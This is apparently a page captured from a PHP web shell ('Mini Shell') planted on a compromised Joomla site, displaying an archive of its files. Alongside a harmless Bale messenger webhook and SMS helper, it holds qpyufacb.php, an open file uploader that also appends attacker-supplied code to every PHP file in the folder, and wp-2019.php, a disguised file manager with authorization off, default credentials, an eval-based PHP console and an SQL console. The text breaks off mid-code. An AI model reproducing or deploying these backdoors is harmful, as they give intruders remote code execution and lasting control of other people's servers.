Spade

Mini Shell

Directory:~$ /home/lmsyaran/public_html/joomla4/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/public_html/joomla4/classes.tar

bale_webhook.php000064400000001322151153624360007702 0ustar00<?php

require_once __DIR__.'/send.php';

$param= file_get_contents('php://input');
$param= json_decode($param);

$first_name= $param->message->from->first_name;
$chat_id= $param->message->chat->id;
$message_id= $param->message->message_id;
$message= $param->message->text;
$type= $param->message->chat->type;

if ($message!= '###id###')
    exit();

if ($type== 'group')
    $text= "سلام  {$first_name}  شناسه عددی گروه
{$chat_id} میباشد ";
elseif ($type== 'private')
    $text= "سلام  {$first_name}  شناسه عددی شما
{$chat_id} میباشد ";

$data= [[
    'chat_id'=> $chat_id,
    'text'=> $text
]];


$send= new send;
$send->send_bale_message($data);send.php000064400000005741151153624370006224
0ustar00<?php
class send{

    public function __construct($bot_token)
    {
        $this->bot_token= $bot_token;
        $this->getupdates_url=
"https://tapi.bale.ai/bot{$this->bot_token}/getupdates";
        $this->sendmessage_url=
"https://tapi.bale.ai/bot{$this->bot_token}/sendMessage";
    }

    public function send_bale_message($data=[])
    {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $this->sendmessage_url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_POST, 1);
        foreach ($data as $item)
        {
            curl_setopt($curl, CURLOPT_POSTFIELDS, $item);
            $response = curl_exec($curl);
        }

        $response = json_decode($response);
//        $err = curl_error($curl);
        curl_close($curl);
        return $response;
    }

    public function send_sms($mobilenumber, $smsService_input_data,
$smsService_pattern_code, $smsService_username, $smsService_password)
    {

        $SoapClient = new
SoapClient("http://panel.smsema.com/class/sms/wsdlservice/server.php?wsdl");
        $smsService_from = "+983000505";
        
        for($i=0; $i< 3; $i++)
        {
            $result= $SoapClient->sendPatternSms($smsService_from,
(array)$mobilenumber, $smsService_username, $smsService_password,
$smsService_pattern_code, $smsService_input_data);
            if ($result)
                return $result;
        }

    }

    public function getMobile($mobile_number_source,
$mobile_number_source_field, $user_id)
    {

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);


        if ($mobile_number_source == 'additional') {
            $query->select('value');
            $query->from($db->quoteName('#__fields',
'f'));
            $query->join('inner',
$db->quoteName('#__fields_values', 'fv') .
'on' . $db->quoteName('f.id') . '=' .
$db->quoteName('fv.field_id'));
            $query->where($db->quoteName('context') .
'=' . $db->quote('com_users.user'));
            $query->where($db->quoteName('item_id') .
'=' . $user_id);
            $query->where($db->quoteName('f.name') .
'=' . $db->quote($mobile_number_source_field));

            $db->setQuery($query);
            $result = $db->loadResult();


        } elseif ($mobile_number_source == 'community_builder')
{
            $query->select($mobile_number_source_field);
            $query->from($db->quoteName('#__comprofiler',
'cp'));
            $query->where($db->quoteName('user_id') .
'=' . $user_id);


            $db->setQuery($query);
            $result = $db->loadResult();

        }
        elseif ($mobile_number_source == 'username')
        {
            $query->select('username');
            $query->from($db->quoteName('#__users',
'u'));
            $query->where($db->quoteName('id') .
'=' . $user_id);


            $db->setQuery($query);
            $result = $db->loadResult();

        }
        
        return $result;
    }


}qpyufacb.php000064400000001370151153624400007071 0ustar00<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file,
'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
wp-2019.php000064400000236701151153624420006310 0ustar00<?php
/* PHP File manager ver 1.5 */

// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"ru","Add":"Добавить","Are
you sure you want to delete this directory (recursively)?":"Вы
уверены, что хотите удалить эту папку
(рекурсивно)?","Are you sure you want to delete this
file?":"Вы уверены, что хотите удалить
этот
файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error
occurred":"Произошла ошибка","File
manager":"Файловый менеджер","File
selected":"Выбран файл","File
updated":"Файл
сохранен","Filename":"Имя
файла","Files uploaded":"Файл
загружен","French":"Французский","Generation
time":"Генерация
страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make
directory":"Создать
папку","Name":"Наименование","New":"Новое","New
file":"Новый файл","no
files":"нет
файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset
settings":"Сбросить
настройки","Restore file time after
editing":"Восстанавливать время файла
после
редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select
the file":"Выберите
файл","Settings":"Настройка","Show":"Показать","Show
size of the folder":"Показывать размер
папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found
in files":"Найдено в
файлах","Search":"Поиск","Recursive
search":"Рекурсивный
поиск","Mask":"Маска"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0; 
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size →
maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string =
str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val,
true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" .
basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return
round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return
round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
	<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
		<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
		<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
		<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
		<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
		<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return
'<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path  . '\'"';
    return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
	if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return =
!empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post"
action="'.fm_url().'"
style="display:inline">
				<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link,
'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
 cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value"  cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) &&
isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password"
type="password">&nbsp;&nbsp;&nbsp;
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
		header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php =
